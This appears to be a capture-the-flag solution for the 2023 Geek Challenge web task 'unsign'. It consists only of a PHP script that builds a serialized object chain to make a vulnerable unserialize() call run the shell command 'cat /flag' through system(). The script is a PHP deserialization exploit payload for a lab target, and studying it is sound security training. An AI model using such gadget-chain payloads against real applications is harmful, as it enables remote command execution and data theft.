极客大挑战2023-web-unsign

<?php
class syc
{
    public $cuit;   
}

class lover
{
    public $yxx;
    public $QW;
}

class web
{
    public $eva1;
    public $interesting;
}
$a=new web();
$a->eva1="system";
$a->interesting="cat /flag";

$b=new lover();
$b->yxx=$a;

$c=new syc();
$c->cuit=$b;

echo serialize($c);

?>